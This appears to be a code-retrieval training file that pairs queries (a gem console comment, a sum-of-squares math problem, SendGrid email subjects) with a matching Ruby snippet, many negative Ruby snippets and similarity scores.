You can add fixtures and/or initialization code here to make experimenting with your gem easier. You can also use a different console, if you like. | def client
@client ||= Gamewisp::Client.new
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_console\n console\n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def main\n\n # test\n\n # Console.new\n console_start\n end",
"def setup\n @story = Story.create( :text => 'Hello world' )\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n\n end",
"def setup\n\n end",
"def setup\n\n end",
"def setup\r\n end",
"def setup; end",
"def test_initialize\n assert_nothing_raised { Spoonerize::Cli.new(fixtures['default_words']) }\n end",
"def console\n\t\t\tcla = as_class_name(@arguments.first)\tif @arguments.length == 1\n\t\t File.open(\"./tmp/irb-setup.rb\", 'w') do |f|\n\t\t f.puts \"# Initializes the environment for IRb.\"\n\t\t f.puts \"Experiment::Config::init #{@options.env.inspect}\"\n\t\t f.puts \"$: << '#{File.expand_path(\".\")}/'\"\n\t\t if @arguments.length == 1\n\t\t f.puts \"require 'experiments/#{@arguments.first}/#{@arguments.first}'\"\n\t\t f.puts \"def experiment\"\n \t\t f.puts \" @experiment ||= #{cla}.new :normal, #{@arguments.first.inspect}, OpenStruct.new(#{@options.marshal_dump})\"\n \t\t f.puts \"end\"\n \t\t f.puts \"experiment #load up the configs\"\n \t\t else\n \t\t f.puts 'Dir[\"./app/**/*.{rb,o,so,dll,bundle}\"].each{|e| require e.gsub(/\\.(rb|so|o|dll|bundle)$/, \"\") }'\n \t\t f.puts \"Experiment::Config::load '', #{options.opts.inspect}\"\n\t\t end\n\t\t \n\t\t end\n irb = RUBY_PLATFORM =~ /(:?mswin|mingw)/ ? 'irb.bat' : 'irb'\n libs = \" -r irb/completion\"\n libs << \" -r #{File.dirname(__FILE__) + \"/base\"}\"\n libs << \" -r./experiments/experiment\"\n libs << \" -r ./tmp/irb-setup.rb\"\n puts \"Loading #{@options.env} environment...\"\n exec \"#{irb} #{libs} --simple-prompt\"\n\t end",
"def setup\n # Retrieve fixtures via their name\n # @first = accounts(:first)\n end",
"def test_helloworld\n with_fixture 'helloworld' do\n assert system(\"ruby\", ocra, \"helloworld.rb\", *DefaultArgs)\n assert File.exist?(\"helloworld.exe\")\n assert system(\"helloworld.exe\")\n end\n end",
"def setup\n\n end",
"def setup\n\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n\t\tend",
"def setup\n\t\tend",
"def setup\n ''\n end",
"def do_setup; \"\" end",
"def fixture_path\n File.expand_path('../fixtures', __FILE__)\nend",
"def setup\n true\n end",
"def setup()\n end",
"def setup(options); end",
"def setup(options); end",
"def setup\n # override this if needed\n end",
"def setup\n debug 'No custom setup defined'\n end",
"def setup_environment; end",
"def init_example_db\n # Create repos table\n database.create_table :repos do\n primary_key :id\n String :name\n foreign_id :token_id\n end\n\n # Add example repositories\n r = database[:repos]\n r.insert(:name => \"josefwaller/pycatan\")\n r.insert(:name => \"josefwaller/github_dash\")\n r.insert(:name => \"rails/rails\")\n\n # Create tokens table\n database.create_table :tokens do\n primary_key :id\n String :token\n String :name\n end\n\n # Add example token\n t = database[:tokens]\n ENV['GITHUB_DASH_TOKEN'] ||= \"ThisIsAnExampleGithubApiKey\"\n t.insert(:token => ENV['GITHUB_DASH_TOKEN'])\n end",
"def setup\n # Retrieve fixtures via their name\n # @first = contacts(:first)\n end",
"def setup(options = {}); end",
"def setup\n # NOTE: We do not yet assume any contents of the depot. When we do,\n # I have some code for populating test fixtures, although it leans a bit\n # toward Rails' conventions. We can probably 'derail' it. :)\n\n # Specify the environment, e.g. development vs. test, etc. It is assumed to be\n # test. This is done mainly so that the right configuration is used for connecting to\n # Perforce. This should probably be moved to a generic 'test_helper' which is\n # included in all tests.\n ENV['APP_ENV'] ||= 'test'\n end",
"def fixture_dir\n File.join File.dirname(__FILE__), 'fixture'\nend",
"def setup\n # Do nothing\n end",
"def setup\n # Do nothing\n end",
"def setup\n # Do nothing\n end",
"def setup\n # Do nothing\n end",
"def setup\n # Do nothing\n end",
"def setup\n # Do nothing\n end",
"def setup\n # Do nothing\n end",
"def generate\n `rspec --init`\n end",
"def setup\n\t\t# Do nothing\n\tend",
"def setup\n\t\t# Do nothing\n\tend",
"def test_library\n\tputs \"Library Loaded!\"\nend",
"def test_autoload\n with_fixture 'autoload' do\n assert system(\"ruby\", ocra, \"autoload.rb\", *DefaultArgs)\n assert File.exist?(\"autoload.exe\")\n File.unlink('foo.rb')\n assert system(\"autoload.exe\")\n end\n end",
"def testFixtureSetup()\n @windows = []\n # setup your objects for the tests (if needed)\n end",
"def testFixtureSetup()\n @windows = []\n # setup your objects for the tests (if needed)\n end",
"def before_setup; end",
"def setup\r\n # Retrieve fixtures via their name\r\n # @first = category(:first)\r\n end",
"def setup\n\t\t\t\tp \"mytest1 setup\"\n\t\tend",
"def setup_default_fixtures(files = ['sample_actors' , 'users', 'wiki_entries'])\n Fixtures.reset_cache\n files.each do |f|\n Fixtures.create_fixtures( File.dirname(__FILE__) + '/../fixtures' , File.basename( f , '.*'))\n end\nend",
"def setup\n # no setup\n\tend",
"def main\n puts 'Ruby bootstrap...'\n puts 'Check sqlite3'\n if system('sqlite3 --version')\n puts 'Ok'\n else\n puts 'Ko: sqlite3 is required'\n puts 'https://guides.rubyonrails.org/getting_started.html'\n exit 1\n end\n\n puts 'Update Ruby gem manager'\n system('gem update --system')\n\n puts 'Install bundler'\n system('gem install bundler')\n\n puts 'Install rails'\n system('gem install rails')\n system('rails --version')\nend",
"def setup\n # noop\n end"
] | [
"0.6623186",
"0.65358907",
"0.65358907",
"0.65358907",
"0.65358907",
"0.65358907",
"0.65358907",
"0.65358907",
"0.65258735",
"0.6423783",
"0.6410113",
"0.6410113",
"0.6410113",
"0.6410113",
"0.6410113",
"0.6410113",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.6400091",
"0.63776994",
"0.63776994",
"0.63776994",
"0.63776994",
"0.63776994",
"0.63776994",
"0.63776994",
"0.63776994",
"0.63776994",
"0.63776994",
"0.63776994",
"0.63776994",
"0.6350658",
"0.6350658",
"0.6350658",
"0.62644154",
"0.62286156",
"0.6085842",
"0.60366064",
"0.60327595",
"0.6022646",
"0.601901",
"0.601901",
"0.60027486",
"0.60027486",
"0.60027486",
"0.60027486",
"0.60027486",
"0.5983993",
"0.5983993",
"0.5972945",
"0.5963684",
"0.5939182",
"0.5923772",
"0.5899752",
"0.5876809",
"0.5876809",
"0.5865274",
"0.58529603",
"0.58458245",
"0.5834937",
"0.58316463",
"0.5804081",
"0.57988954",
"0.5798332",
"0.57336086",
"0.57336086",
"0.57336086",
"0.57336086",
"0.57336086",
"0.57336086",
"0.57336086",
"0.57210445",
"0.5719136",
"0.5719136",
"0.5714975",
"0.57072467",
"0.5702247",
"0.5702247",
"0.5678898",
"0.5672924",
"0.5658034",
"0.5646745",
"0.5637319",
"0.5635938",
"0.56023604"
] | 0.0 | -1 |
12 + 22 + ... + 102 = 385 The square of the sum of the first ten natural numbers is (1 + 2 + ... + 10)2 = 552 = 3025 Hence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is 3025 385 = 2640. Find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum. | def sum_of_square(range)
range.inject(0) { |sum, i| sum + i**2 }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sum_square_difference(num)\n 1.upto(num).sum**2 - 1.upto(num).reduce(0) { |total, n| total + n**2 }\nend",
"def sum_square_difference(num)\n square_of_sum = ((1..num).sum)**2\n sum_of_squares = (1..num).map { |n| n**2}.sum\n square_of_sum - sum_of_squares\nend",
"def sum_square_difference(num)\n square_of_sum = 1.upto(num).to_a.reduce(:+) ** 2\n sum_of_squares = 1.upto(num).to_a.map{ |n| n ** 2 }.reduce(:+)\n square_of_sum - sum_of_squares\nend",
"def sum_square_difference(number)\n squared_sum = 1.upto(number).inject(:+)**2\n sum_squares = 0\n 1.upto(number).each {|num| sum_squares += num**2}\n squared_sum - sum_squares\nend",
"def sum_square_difference(num)\n square_of_the_sum = 0\n sum_of_the_squares = 0\n \n 1.upto(num) do |num|\n square_of_the_sum += num\n sum_of_the_squares += (num ** 2)\n end\n\n total = (square_of_the_sum ** 2) - sum_of_the_squares\n total\nend",
"def sum_square_difference(num)\n square_of_sum = (0..num).inject(:+) ** 2\n sum_of_square = (0..num).map { |num| num ** 2}.inject(:+)\n square_of_sum - sum_of_square\nend",
"def sum_square_difference(num)\n (1..num).sum ** 2 - (1..num).map {|num| num ** 2 }.sum\nend",
"def sum_square_difference(n)\n # square_of_sum = (1..n).reduce(:+) ** 2\n # sum_of_squares = (1..n).reduce { |sum, num| sum + num * num }\n # square_of_sum - sum_of_squares\n # (1..n).reduce(:+)**2 - (1..n).reduce { |sum, num| sum + num * num }\n\n (1..n).sum**2 - (1..n).sum { |num| num**2 }\nend",
"def sum_square_difference(int)\n # square_of_sums = (0..int).inject(:+) ** 2\n # sum_of_squares = (0..int).inject(0) { |memo, value| memo + value ** 2 }\n # return square_of_sums - sum_of_squares\n\n (0..int).inject(:+) ** 2 - (0..int).inject(0) { |sum, n| sum + n ** 2 }\nend",
"def sum_square_difference(num)\n (1..num).inject(:+)**2 - (1..num).map{|x| x**2}.inject(:+)\nend",
"def sum_square_difference(int)\n first_n_ints = (1..int).to_a\n\n sum_1 = first_n_ints.sum\n\n sum_2 = first_n_ints.map{|int| int**2}.sum\n\n (sum_1**2) - sum_2\nend",
"def sum_square_difference(num)\n\n sum_squared = (1..num).to_a.sum ** 2\n\n squares = []\n\n (1..num).each { |n| squares << n ** 2 }\n\n squared_sum = squares.sum\n\n sum_squared - squared_sum\nend",
"def sum_square_diff(n)\r\n sq_of_sum = (1..n).to_a.sum ** 2\r\n sum_of_sq = (1..n).to_a.map{ |num| num *= num }.sum\r\n (sq_of_sum - sum_of_sq).abs\r\nend",
"def sum_square_difference(n)\n square_of_sum = ((1..n).sum) ** 2\n sum_of_square = (1..n).map{|i| i * i}.sum\n p difference = square_of_sum - sum_of_square\nend",
"def sum_square_diff(num)\n sum_of_squares = 0\n square_of_sum = 0\n\n (1..num).each do |i|\n squared = i**2\n sum_of_squares += squared\n square_of_sum += i\n end\n\n square_of_sum **= 2\n\n difference = square_of_sum - sum_of_squares\n\n puts difference\nend",
"def sum_square_difference(num)\r\n arr = (1..num).to_a\r\n sum1 = arr.sum ** 2\r\n sum2 = arr.inject { |sum, number| sum + number**2 }\r\n sum1 - sum2\r\nend",
"def diff_squares(num)\r\n sum_of_nums = (1..num).inject { |sum, x| sum + x }\r\n sum_of_sq = (1..num).inject { |sum, x| sum + x**2 }\r\n sum_of_nums**2 - sum_of_sq\r\nend",
"def sum_square_difference(n)\n n_integers = (1..n).to_a\n square_of_sum = n_integers.inject(:+)**2\n sum_of_squares = n_integers.map {|n|n**2}.inject(:+)\n square_of_sum - sum_of_squares\nend",
"def sum_square_difference(num)\n arr = (1..num).to_a\n square_of_arr_summed = (arr.sum) ** 2\n square_of_each_num = arr.reduce(0) { |sum, n| sum + n**2 }\n\n # Alternatively\n # square_of_each_num = 0\n # arr.each { |element| square_of_each_num += element **2 }\n\n return square_of_arr_summed - square_of_each_num\nend",
"def sum_square_difference(n)\n ((1..n).reduce(:+)**2) - (1..n).reduce{ |sum, i| sum + i**2 }\nend",
"def sum_square_difference(n)\n integers = (1..n).to_a\n\n square_of_sum = integers.sum ** 2\n sum_of_squares = integers.map { |n| n ** 2 }.sum\n\n square_of_sum - sum_of_squares\nend",
"def sum_square_difference(n)\n square_of_sums = (1..n).inject(:+) ** 2\n sum_of_squares = (1..n).inject {|sum, num| sum + (num ** 2)}\n square_of_sums - sum_of_squares\nend",
"def sum_square_difference(n)\r\n square_total = 0\r\n sum_square = 0\r\n 1.upto(n) {|x| square_total += x}\r\n 1.upto(n) {|x| sum_square += (x**2)}\r\n square_sum = square_total**2\r\n square_sum - sum_square\r\nend",
"def sum_square_difference(integer)\n (1..integer).reduce(:+)**2 - 1.upto(integer).map { |i| i**2 }.reduce(:+)\nend",
"def sum_square_difference(num)\n sum = 0\n square_sum = 0\n\n 1.upto(num) do |n|\n sum += n\n square_sum += n**2\n end\n\n sum**2 - square_sum\nend",
"def sum_square_difference(a_num)\r\n first_block = (1..a_num).to_a.reduce(&:+)\r\n first_block **=2\r\n\r\n second_block = (1..a_num).to_a.map { |number| number ** 2 }\r\n second_block = second_block.reduce(&:+)\r\n\r\n first_block - second_block\r\nend",
"def sum_square_difference(n)\n sum = 0\n sums_squared = 0\n 1.upto(n) do |num|\n sum += num\n sums_squared += num**2\n end\n sum**2 - sums_squared\nend",
"def sum_square_difference(num)\n square_of_sum = 0\n sum_of_squares = 0\n\n 1.upto(num) do |i| \n square_of_sum += i\n sum_of_squares += i**2\n end\n\n square_of_sum**2 - sum_of_squares\nend",
"def euler006\n square_of_sum = (1..100).reduce(:+) ** 2\n sum_of_squares = (1..100).inject { |sum, n| sum + n*n }\n\n return square_of_sum - sum_of_squares\nend",
"def sum_square_difference(num)\n sum = sum(num)\n square = square(num)\n p sum - square\nend",
"def sum_square_difference(integer)\n array = []\n 1.upto(integer) { |num| array << num }\n sum_squared = array.reduce(:+)**2\n\n array = []\n 1.upto(integer) { |num| array << num**2 }\n squared_sums = array.reduce(:+)\n\n sum_squared - squared_sums\nend",
"def solution(num)\n sum_of_squares = 0\n\n (1..num).each do |number|\n sum_of_squares += number**2\n end\n\n square_of_sums = (1..num).inject(:+) ** 2\n\n p (square_of_sums - sum_of_squares).abs\nend",
"def sum_square_difference(max_num: 100)\n diff = 0\n num_set = (1..max_num).to_a.reverse\n set_sum = num_set.inject(:+)\n until num_set.length == 1\n foo = num_set.pop\n set_sum -= foo\n diff += 2 * foo * set_sum\n end\n puts diff\nend",
"def sum_sq_diff(n)\n nums_in_range = (1..n)\n # square_sums = nums_in_range.sum ** 2\n square_sums = nums_in_range.sum.pow(2)\n sums_square = nums_in_range.map { |n| n ** 2 }.sum\n square_sums - sums_square\nend",
"def sum_square_difference(integer)\n sum = 0\n square_sum = 0\n 1.upto(integer) { |i| sum += i }\n 1.upto(integer) { |i| square_sum += i**2 }\n sum**2 - square_sum\nend",
"def sum_up_to_squared n=100\r\n (2 * n + 1) * (n + 1) * n / 6\r\nend",
"def p6\n\trange = (1..100).to_a\n\tsquare_of_sum = range.reduce(:+) ** 2\n\tsum_of_square = (range.map{|x| x ** 2}).reduce(:+)\n\tsquare_of_sum - sum_of_square\nend",
"def difference_between_sum_sq_and_sq_sum(n)\n square_sum(n) - sum_squares(n)\nend",
"def sum_square_difference(num)\n total_square = 0\n num_square = 0\n\n 1.upto(num) do |number|\n total_square += number\n end\n\n 1.upto(num) do |fig|\n num_square += fig**2\n end\n\n product_total = total_square ** 2\n square_difference = product_total - num_square\n square_difference\nend",
"def sum_square_difference(n)\n \n sum = 0 \n for i in 0..n\n sum += i\n end\n \n sq_sum = 0\n for i in 0..n\n sq_sum += (i**2)\n end \n \n (sum*sum) - sq_sum\nend",
"def difference\n # square of sums will always be bigger\n square_of_sum - sum_of_squares\n end",
"def squares_diff(n)\n (1..n).inject(:+)**2 - (1..n).map{|i| i*i}.inject(:+)\nend",
"def sums num\n\tsum_of_squares = 0\n\tsum = 0\n\t1.upto num do |n|\n\t\tsum_of_squares += n*n\n\t\tsum += n\n\tend\n\tsum**2 - sum_of_squares \nend",
"def square_sum_up_to n=100\r\n (n * (n + 1) / 2)**2\r\nend",
"def six\n square_of_sum(100) - sum_of_squares(100)\nend",
"def sum_of_squares n\n (n**3)/3 + (n**2)/2 + n/6 \nend",
"def squares_first_100\n\ttotal = 0\n\t(1..100).each do |number|\n\t\ttotal = total + number ** 2\n\tend\n\tputs \"total squares first 100 = #{total}\"\n\treturn total\nend",
"def sumSquareDifference( maxValue )\n sumSquares = 0\n sum = 0\n\n Range.new( 1, maxValue ).each do | value |\n sum += value\n sumSquares += value * value\n end\n\n squaresSum = sum * sum\n\n puts squaresSum - sumSquares\nend",
"def sum_of_the_squares max_number\n sum = 0\n (1..max_number).each { |i| sum += (i ** 2) }\n sum\nend",
"def squares(a, b)\n diff = (Math.sqrt(b).ceil - Math.sqrt(a).ceil)\n diff = diff + 1 if Math.sqrt(b) % 1 == 0\n # diff = diff + 1 if Math.sqrt(a) % 1 == 0\n return diff\nend",
"def sum_multiples_3_and_5\n return 3 * 333 * 334 / 2 + 5 * 199 * 200 / 2 - 15 * 66 * 67 / 2\nend",
"def sum_of_squares\n return @n * (@n + 1) * (2 * @n + 1) / 6\n end",
"def sum_of_multiples_of_three_and_five(num)\n\ta = sum_of_first_n_multiples(3, (1000/3))\n\tb = sum_of_first_n_multiples(5, (1000/5))\n\tc = sum_of_first_n_multiples(15, (1000/15))\n\treturn (a + b - c - 1000)\nend",
"def solve( n = 100 )\n # Sum of squares is given by n(n + 1)(2n + 1) / 6, while square of sums\n # is [n(n + 1)][n(n + 1)] / 4. Subtracting and simplifying the result\n # gives n(n + 1)(n - 1)(3n + 2) / 12.\n n * (n + 1) * (n - 1) * (3*n + 2) / 12\n end",
"def arith_sum_squares(max)\n max * (max+1) * (2*max+1) / 6\nend",
"def problem_80(size = 100)\n total = 0\n (2..100).each do |n|\n n,d = n.sqrt_frac(2*size)\n next unless n\n r = n * (10 ** (size * 1.1).to_i) / d\n r = r.to_s[0,size].split(//).map(&:to_i).reduce(&:+)\n total += r\n# puts r.inspect\n end\n total\nend",
"def sum_two_small_numbers(numbers)\n numbers.sort.first(2).inject(:+)\nend",
"def square_of_sums\n return (@n * (@n + 1) / 2)**2\n end",
"def square_of_sum\n\tsquare_of = 0\n\n\t(1..100).each do |x|\n\t\tsquare_of += x\n\tend\n\tsquare_of = square_of**2\n\tsquare_of\nend",
"def problem_80b(size = 100)\n total = 0\n (2..100).each do |n|\n r = n.sqrt_digits(size+1)\n next if r.length == 1\n r = r[0,size].reduce(&:+)\n total += r\n# puts \"#{n} #{r.inspect}\"\n end\n total\nend",
"def difference\n square_of_sum - sum_of_squares\n end",
"def sum_3_5(number) \r\n\tsum3 = 0\r\n\tsum5 = 0\r\n\tsum15 = 0\r\n\t0.step(number-1,3) do |num|\r\n\t\tsum3 += num\r\n\tend\r\n\t0.step(number-1,5) do |num|\r\n\t\tsum5 += num\r\n\tend\r\n\t0.step(number-1,15) do |num|\r\n\t\tsum15 += (num)\r\n\tend\r\n\treturn sum3 + sum5 - sum15\r\nend",
"def difference\n square_of_sums - sum_of_squares\n end",
"def difference\n square_of_sums - sum_of_squares\n end",
"def squareSum(numbers)\n numbers.reduce(0){|sum, x| sum + (x ** 2)}\nend",
"def totient4 n\n Prime.prime_division(n).each do |factor, _|\n n = n * (factor - 1) / factor\n end\n return n\nend",
"def squareSum(numbers)\n numbers.inject(0) { |sum, n| sum + n*n }\nend",
"def sum_of_digit_squares(number)\n\tdigits = number.to_s.split(//)\n\tsum = 0\n\tdigits.each do |digit|\n\t\tsum += (digit.to_i)**2\n\tend\n\tsum\nend",
"def findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend",
"def square_sum(numbers)\n squares = numbers.map{|number| number * number}\n squares.reduce(0){|num, sum| num + sum}\nend",
"def sum_primes max_number\n sum = 2\n (3..max_number).each do |test_num|\n next if test_num.even?\n prime = true\n # sqrttest = test_num**0.5\n (2..Math.sqrt(test_num)).each do |factor|\n prime = false if (test_num % factor == 0)\n break unless prime\n end\n sum += test_num if prime\n #puts test_num if prime\n end\n return sum\nend",
"def difference\n return square_of_sums - sum_of_squares\n end",
"def problem_six\n (1.upto(100).reduce(:+)) ** 2 - (1.upto(100).map { |n| n ** 2 }).reduce { |sum, n| sum + n }\n end",
"def square_of_sums\n sum=((@num**2+@num)/2)**2\n end",
"def squareSum(numbers)\n numbers.map { |n| n*n }.reduce(:+)\nend",
"def squareSum(numbers)\n numbers.map { |n| n*n}.reduce(:+)\nend",
"def square_of_sum\n\t\t@n**2*(@n+1)**2/4\n\tend",
"def sums_three_five (n)\n\n sum = 0\n #find sum of all 3s\n # 3 to 999 = 3 * (1 .. n/3) = 3 * 333/2 * (1 + 333)\n last_three = (n/3)\n sum += 3 * ((last_three) * (1 + last_three))/2\n\n #find sum of all 5s\n # 1..200\n last_five = (n/5)\n last_five -= 1 if n % 5 == 0 # -1 because n is not included\n sum += 5 * ((last_five) * (1+last_five))/2\n\n #subtract intersection of 5s and 3s\n last_fifteen = (n/15)\n sum -= 15 * ((last_fifteen) * (1+last_fifteen))/2\n\nend",
"def sum_of_the_squares\n sum = 0\n (1..self).each do |n|\n sum += n**2\n end\n sum\n end",
"def sum_of_squares\n\t\t\tinject(0) do |sum, elem|\n\t\t\t\tsum + (elem ** 2)\n\t\t\tend\n\t\tend",
"def total\n (1..64).inject {|sum, square| sum + square(square)}\n end",
"def sum_of_squares(n)\n sum = 0\n (1..n).each {|i| sum = sum + (i*i)}\n sum\n end",
"def total\n (1..64).inject {|sum, num| sum + square(num)}\n end",
"def solution(a)\n first_sum = a[0]\n second_sum = a.inject(&:+) - a.first\n result = (first_sum - second_sum).abs\n\n a[1..-2].each do |elem|\n first_sum = first_sum + elem\n second_sum = second_sum - elem\n tmp_result = (first_sum - second_sum).abs\n result = tmp_result if tmp_result < result\n end\n\n result\nend",
"def euler_sum \n\tnums = (1...999).select { |n| n % 3 === 0 || n % 5 === 0 }\n\n\tnum_sum = nums.inject(0) {|s, n| s += n }\nend",
"def sum_integers_up_to(n)\n (n * ( n + 1 ) ) / 2\nend",
"def squareSum(numbers)\n numbers.map { |i| i ** 2 }.reduce(:+)\nend",
"def divisorSum2(num)\n\ttotal = 1\n\tif(num > 1) then\n\t\t(2..num ** 0.5).each { |n| if (num % n == 0) then total = total + n + num/n end}\n\telse\n\t\treturn 0\n\tend\n\t\ttotal\nend",
"def total\n (1..64).reduce { |sum, space_number| sum + square(space_number) }\n end",
"def sumOfSquares(max)\n out = 0\n max.times do |i|\n out += (i+1)**2\n end\n out\nend",
"def triplet_of_sum(sum)\n (1..sum).each do |a|\n b = a\n while b < sum - b\n c = Math.sqrt(a.abs2 + b.abs2)\n return a * b * c if a + b + c == 1000\n b += 1\n end\n end\nend",
"def total\n squares = (1..64).map{|i| square(i)}\n squares.inject(:+)\n end",
"def square_of_sum(n)\n sum = 0\n (1..n).each {|i| sum = sum + i}\n sum * sum\n end",
"def sum_num(first_num, last_num)\n # Your code goes here\n sum = 0\n first_num = first_num - 1\n num_count = (last_num - first_num)\n num_count.times do\n first_num += 1\n sum += first_num \n end\n return sum\nend",
"def sum_of_squares(max)\n sum = 0\n (1..max).each do|current|\n sum = sum + current**2\n end\n return sum\nend",
"def value_of_summed_digits_of_this_less_than_100_number( number )\n\n raise ArgumentError \"number must be two digits\" unless number < 100\n\n sum = 0\n\n if number >= 10\n sum = number / 10 \n end\n \n sum += number % 10\n\n sum\nend",
"def sum_of_squares(numbers)\n numbers.map { |x| x * x }.reduce(0) { |acc, x| acc + x }\nend",
"def getDivSums(n)\n #initialize total\n total = 0\n #for every number less than n\n for i in 1..n-1\n #if i is a divisor\n if n%i == 0\n #add divisor to total\n total += i\n end\n end\n #return total\n return total\nend",
"def sum_of_primes(n)\n Prime.first(n).inject(0, :+)\nend",
"def digital_root(n)\n arr = n.to_s.split('')\n if arr.length != 1\n tot = arr.inject(0){|sum,x| sum.to_i + x.to_i }\n while (tot >= 10)\n tot = tot.to_s.split('').inject(0){|sum,x| sum.to_i + x.to_i }\n end\n else \n return arr[0].to_i\n end\n return tot\n end",
"def ten\n acc = 0\n (find_primes_below 2000000).each do |i|\n acc = acc + i\n end\n return acc \nend"
] | [
"0.7811906",
"0.7668373",
"0.7664246",
"0.7661506",
"0.76431787",
"0.7641731",
"0.7632839",
"0.7598747",
"0.75828016",
"0.7568321",
"0.7551572",
"0.75468403",
"0.7542266",
"0.7505301",
"0.75040656",
"0.743689",
"0.7434244",
"0.74255884",
"0.7422579",
"0.74223477",
"0.7414717",
"0.7412472",
"0.7403889",
"0.7351599",
"0.7340164",
"0.7319385",
"0.7313288",
"0.73030823",
"0.7301636",
"0.72767514",
"0.7245715",
"0.7197333",
"0.7195165",
"0.7191091",
"0.7143007",
"0.7132023",
"0.71192104",
"0.7101349",
"0.7101007",
"0.70445275",
"0.6955698",
"0.69350064",
"0.6918454",
"0.6876984",
"0.68676084",
"0.68657285",
"0.6820322",
"0.6770362",
"0.67624056",
"0.6736668",
"0.6699621",
"0.66973287",
"0.66749",
"0.66609836",
"0.6646488",
"0.664107",
"0.6640876",
"0.661134",
"0.659998",
"0.6595017",
"0.6583277",
"0.6547364",
"0.65417784",
"0.65417784",
"0.6534671",
"0.6504717",
"0.65031683",
"0.6445724",
"0.6438753",
"0.642999",
"0.6429015",
"0.64243376",
"0.6415537",
"0.6411199",
"0.64104956",
"0.64068705",
"0.6387847",
"0.637772",
"0.6374735",
"0.63653535",
"0.6364027",
"0.6359496",
"0.6357938",
"0.63454956",
"0.6343406",
"0.6328031",
"0.6324351",
"0.63239586",
"0.63109416",
"0.6307452",
"0.62978566",
"0.6294734",
"0.62921613",
"0.62888664",
"0.6280057",
"0.62734634",
"0.62700975",
"0.6269438",
"0.62416047",
"0.6217167",
"0.62134516"
] | 0.0 | -1 |
Set sendgrid category to email subject | def welcome_provider(user)
@user = user
@profile = user.profile
sendgrid_category :stripe_connect_welcome_provider
@show_logo = true
subject = "You're all set to accept online payments on Kinstantly"
mail to: user.email, subject: subject
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sendgrid_category category\n @sg_category = category\n end",
"def set_SubjectCategory(value)\n set_input(\"SubjectCategory\", value)\n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def subject=(subject); @message_impl.setSubject subject; end",
"def subject=(string)\n set('Subject', string)\n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def formatted_subject(text)\n name = PersonMailer.global_prefs.app_name\n label = name.blank? ? \"\" : \"[#{name}] \"\n \"#{label}#{text}\"\n end",
"def set_subject(subject)\n\t\tend",
"def subject\n @mail.subject\n end",
"def message_subject=(value)\n @message_subject = value\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def create_mail(subject_mail_part, email_type, account_name)\n mail = SendGrid::Mail.new\n # If we are testing don't actuallly send just have SendGrid validate it.\n if Rails.env.test?\n mail_settings = SendGrid::MailSettings.new\n mail_settings.sandbox_mode = SendGrid::SandBoxMode.new(enable: true)\n mail.mail_settings = mail_settings\n end\n mail.from = SendGrid::Email.new(email: @admin.email, name: \"#{Visitor.home_parish} Confirmation\")\n mail.subject = subject_mail_part.text\n cat_env = ''\n cat_env = 'test' if Rails.env.test?\n cat_env = 'development' if Rails.env.development?\n cat_env = 'production' if Rails.env.production?\n mail.add_category(SendGrid::Category.new(name: cat_env))\n mail.add_category(SendGrid::Category.new(name: email_type))\n mail.add_category(SendGrid::Category.new(name: account_name))\n mail.add_category(SendGrid::Category.new(name: mail.subject))\n mail\n end",
"def subject\n self['subject'] || msg['subject']\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def subject\n @options.fetch(:subject) { \"Invitation\" }\n end",
"def subject() self.headers[\"Subject\"] || \"[NO SUBJECT]\" end",
"def subject\n title \n end",
"def choose_subject(action, params = {})\n scope = [:mailers, mailer_name, action]\n key = :subject\n experiment_name = \"#{mailer_name}_mailer_#{action}_subject\".to_sym\n if experiment_active?(experiment_name)\n scope << key\n key = ab_test(experiment_name)\n end\n params.merge!(scope: scope)\n I18n.t(key, params)\n end",
"def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end",
"def get_email_subject(email_type)\n email_subject = email_type\n case(email_type)\n when \"welcome\"\n email_subject = \"Welcome to Aspera Files\"\n when \"reset\"\n email_subject = \"Password Reset\"\n end\n return email_subject\n end",
